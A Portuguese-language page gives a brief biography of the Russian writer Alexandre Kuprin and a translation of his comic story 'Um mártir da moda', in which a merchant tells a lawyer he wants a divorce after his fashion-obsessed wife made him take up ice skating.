KUPRIN – Biografia
(1870 — 1938)
Entre os chamados escritores realistas e simbolistas, seguidores da escola de Gorki, devemos citar a ALEXANDRE IVANÓVITCH KUPRIN, moscovita nascido em 1870, a quem a família destinava à carreira das armas, mas que cedo optou pela das letras. "Gente de Kiev" é a sua primeira obra importante, publicada em 1896, tendo se revelado bom folclorista e agudo observador. A melhor e mais conhecida das suas novelas é "O duelo", resultado de suas observações de uma pequena cidade de guarnição. Escreveu ainda "Gambrinus", em que estuda um grande porto e "A Fossa", relato da vida. das mulheres perdidas. A curta novela "O bracelete de rubis" é dos seus trabalhos o mais divulgado.
No romance, Kuprin é conhecido pelo seu discutido livro "Yàlma", crítica à sociedade contemporânea.
Depois da grande guerra e da revolução russa, Kuprin abandonou a pátria, estabelecenão-se em Paris.
O escritor é também conhecido por ter escrito, entre outros trabalhos: "Olessia", "Moloch", "No circo", <CA judia", "A boda", etc. De "Yalma", Kuprin fêz uma adaptação teatral para a cena francesa.
Lo Gatto registra a sua morte como ocorrida em 1938, sendo que outros historiadores da literatura russa dão-na como tendo sido em 1912.
UM MÁRTIR DA MODA
— Como diz? Quer provas? E não será então uma prova o patinar?
— Desculpe, senhor, não nos precipitemos. Nas leis estão claramente indicados cinco motivos suficientes para o divórcio. Primeiro: Residência desconhecida de um dos cônjuges. Parece-me que este não é o seu caso.
— Não, eu e minha mulher desde o dia do casamento nunca nos separamos.
— Bem; depois a incapacidade de um dos cônjuges para a procriação.
— Qual nada! Quatro filhos; três rapazes e umamenina e lindas crianças, devo dizer-lhe.
— Estimo muito. Terceiro, a loucura, uma doença contagiosa, a privação dos direitos políticos…
— Nada disso. Tudo em ordem.
— Por fim, o adultério provado de uma das partes.
É o seu caso?
— Absolutamente não, vivemos da maneira que eu poderia desejar a qualquer um. Mas tudo isso são tolices. O motivo principal está na patinagem.
— Desculpe, mas não compreendo.
— Relevo eu próprio que não me compreenda. Mas não me interrompa e deixe que eu lhe conte tudo por ordem; se não, com essas suas trapalhadas jurídicas ainda me embrulha mais.
— Estou escutando.
— E agora… por onde hei de começar ? Sou casado há quinze anos, tenho um bom patrimônio, não grande demais, porém discreto. Negocio com algodão, petróleo e carvão. Tenho vapores no Volga. Sou conselheiro de um banco. Tenho uma pequena propriedade na Criméia e mais cerca de mil e quinhentos hectares na província de Pensa. Não posso queixar-me, de fato, dos negócios.
— Bem vejo, bem vejo. Pode fazer inveja a qualquer um.
— Não estou mal, mesmo em família. Os meninos crescem alegres, sãos; a mulher, uma beleza de primeira categoria. Ajuda-me nos negócios, é mãe amantíssima, uma virtuosa e excelente consorte.
— Excelente: mas por quê, então, pensa no divórcio?
— Um momento, vou explicar. A culpa é toda de minha mulher, compreende? Escute, ela tem uma fraqueza.
— Que pena… Será possível?… E é hereditária, essa fraqueza?
— Desculpe, o que foi que pensou?
— Ora, essa desgraçada fraqueza. Será a embriaguez? Faça com que ela a perca.
— Mas qual! nada disso! Vou dizer-lhe: ela gosta muito da moda e isso não é só uma fraqueza, mas uma verdadeira doença. E se soubesse quanto sofri por isso e ainda sofro… Não, não, não preciso de água. Desculpe. Já me refiz. Compreendo bem o papel que faz um hipopótamo como eu chorando. .. .Agora estou calmo. Pronto, já passou tudo. Mais uma vez lhe peço que me desculpe.
Se minha mulher, com a sua mania da moda, se limitasse só aos vestidos, tudo estaria bem. O pobre Worth e Redfern e Paquin estariam todos às suas ordens. Isso me lisonjeava também, porque nos negócios a mulher é a vitrina do marido. Mas ela, imagine, tinha uma elegância especial que tocava às raias da ambição. Queria absolutamente ter uma saleta à moda. Compreende? Uma espécie de "madame Recamier". Senhor, Senhor! Que coisas fizemos nos nossos quinze anos de casados. Tivemos uma saleta popular, uma revolucionária, uma saleta socialista, uma saleta constitucional, uma saleta futurista. Juro-lhe que já nem me lembro de todas.
"Houve um tempo em que em nossa casa, a um canto, pendia o sapato de lona do mujíque. Em outro período, lembro-me, meti a mão debaixo da cama e: — que diabo pode ser isso — pensei — que pesa tanto? — Puxo, era uma bomba. Depois me lembro que vinham à nossa casa mocinhos, as jaquetas amarradas de um lado e botas que tresandavam a sebo.
"Comiam uma quantidade enorme de pãezinhos com salsichas e bebiam dezenas de bules de chá. (Esse era um costume especial introduzido por ela). Gritavam como possessos e diziam palavras que eu não compreendia. Depois no lugar deles compareceram homens de "smoking" com flores na botoeira, os cabelos bem pen-teados e simpáticos cantores com um pouco de rouqui-dão, etc. Mas que digo, saleta! É pouco. Minha mu-lher queria a todo custo que estivéssemos na moda em tudo. Vá lá seja as salsichas com pão. Mas minha mulher usava vestidos segundo os últimos modelos parisien-ses e eu tinha de vestir-me segundo o último figurino inglês. Tínhamos uma bomba debaixo da cama e no entanto devíamos seguir os últimos ditames da moda. Deve parecer-lhe um contraste, um contra-senso, uma incongruência. Mas quantas tolices não se fazem quando a gente ama!
— De fato! — exclamou o advogado.
— E eu obedecia. Resmungava, suspirava, mas obedecia. E na minha idade, com esta pança, todo suado, vestido como um menino com uma camiseta de flanela, com um cinto largo, andava aos pulos pelo campo de tênis.
"Aprendia a luta francesa e tinha manchas roxas como se estivesse todo tatuado.
"Ocupava-me com esgrima, jogava o futebol, montava a cavalo, enquanto o meu maior prazer, nos momentos livres, seria uma partida de sueca.
"E pensa que não me rebelava? Rebelava-me e uma vez rebelei-me até muito seriamente. Aconteceu na época da saleta futurista. Quantos quadros idiotas foram pendurados nas paredes! Imagine uma fritada na qual tinham posto uma libra de marmelada de framboesas e que se chamava "Elegia em K". E que móveis! Quatro macarrões em pé, sobre eles uma concha com uma almofada por cima; essa coisa devia ser uma cadeira. E eu tinha de vestir certos ternos com casaco de palhaço, apertados nos ombros e largos em baixo. Na lapela tinha de usar um girassol e nas mãos devia segurar um chicote de castão imenso e esse castão, não sei por quê, eu tinha de chupar constantemente. "Assim fazem todos, é moda chupar o castão". Isso me dizia minha mulher. Suportava tudo. Suportava até a vergonha que representavam as nossas noitadas futuristas. Nelas se reuniam moços de aspecto lânguido, com olheiras pintadas; alguns com certos trajes pretos de senhoras, afeminados e moles. Às vezes, imobilizavam-se em certas posturas estranhas e faziam profecias. Eu suportava tudo. Mas quando um eles, um homem de uma estatura enorme, com cara de padre e modos de colegial, abertamente anunciou que não admitia outro prazer na vida além de um amor ardente, não correspondido, por um escaravelho, não pude resistir: chamei às escondidas aquele esteta à antecâmara, pedi-lhe para vestir-se e disse-lhe: "Conte até dez. Aos dez proponho-lhe dois saltos: ou pela janela ou pela porta." Desapareceu. Desapareceram também os futuristas. Mas, meu Deus, que tempestade de censuras, que dilúvio de lágrimas desabou sobre mim! E enquanto o futurismo não passou da moda, eu, como um pobre pária, fiquei privado do fogo, do alimento e do abrigo matrimonial. E agora, senhor advogado, rebelo-me pela segunda vez e rebelo-me definitivamente.
"Já ouviu falar de patinação? Então há de compreender-me.
"Em um belíssimo dia de inverno, minha mulher, percorrendo o jornal, disse-me:
"— Sabes, Fops" — Na verdade chamo-me Tomaz, que é um nome um pouco burguês e minha mulher transformou-o em Fops. E é pior, porque tem alguma coisa de nome de cachorro. — Sabes que agora todos deslizam sobre os patins? Farias bem em dedicar-te também tu a esse nobre esporte."
"Deve compreender que essa é a sua maneira habitual de impor-me novos tormentos com o ar mais afetuoso e mais meigo. Mas eu já sei que a sua decisão é férrea. Protesto, mas sem resultado. "Fomos patinar.
"O campo é redondo e escorregadio com o gelo e, nos lugares para os espectadores, uma quantidade de público e, o que ainda era mais ofensivo, metade destes não meus bons amigos, com os quais trato ótimos negócios. No campo os jovens de ambos os sexos correm, giram como loucos, sobre os patins. Um barulho indes-critível. Belo divertimento! Nos pés, sem respeito pelos meus calos, apertam-me os patins, levam-me para o meio da pista e abandonam-me sozinho. Procuro deslocar-me um pouco para a frente, mas tenho receio de cair. E nesse momento, diante de mim., como um turbilhão, surge um estudante com o chapéu de banda, os cabelos enca-racolados e as faces coberta.s de furúnculos. Devido à rapidez dos%eus movimentos e ao barulho dos seus patins, perco o equilíbrio e caio de quatro. Praguejo e tento levantar-me, mas apenas tento aprumar-me, como qualquer quadrúpede posto em posição vertical, caio de novo de barriga para cima. Já viu alguma vez um escaravelho na estrumeira, voltado de costas? Assim estava eu e, todo vermelho de vergonha e os esforços, ouço rir fortemente à minha volta. Mão caridosa me ampara e, com dificuldade, me levanto. Fico como uma estátua por alguns minutos, retendo a respiração, de medo. Por fim me arrisco a mexer-me, mas os pés logo me fogem em todas as direções e com muito custo consigo mantê-los firmes, unidos. Passa não sei quanto tempo e consigo arrastar-me alguns passos. Tomo alguma coragem, procuro levantar o pé direito mas caio violentamente com a testa no asfalto e fico estatelado em posição lamentável, suspenso do chão pela minha barriga rotunda. Por todos os lados se riem. Com dificuldade abro os olhos e parece-me ver girar círculos verdes e vermelhos; à minha volta deslizam aqueles malditos patins e, de súbito, com terror e mágoa vejo minha mulher. Está sentada na primeira fila e, cobrindo o rosto com as mãos, abandona-se a um riso desenfreado. Era demais! Que disse eu? Não me lembro e, de resto, não saberia repeti-lo na sua presença, mas desabafei com tal energia que me levantaram imediatamente: em um momento me libertaram dos patins, me conduziram ao vestuário e me aplicaram gelo na testa ferida. E lembro-me também que todo o divertimento tinha parado e que à minha volta só via olhos esbugalhados e bocas abertas. No mesmo dia falei à minha mulher em divórcio e abandonei o lar.
"De reconciliação não quero ouvir falar e peço-lhe para nem sequer tentá-lo. Eu sou um desses homens mansos como um camelo, mas quando digo não é um não irrevogável. Só lhe peço, como homem de coração e como advogado, que me ajude a terminar este penoso processo."
O advogado silenciou um longo momento, batendo na mesa com a ponta do lápis. Depois semicerrou os olhos e disse, pacatamente:
— Em tudo que me contou, porém, não vejo um motivo que possa satisfazer o tribunal.
(Tradução de Alfredo Ferreira).
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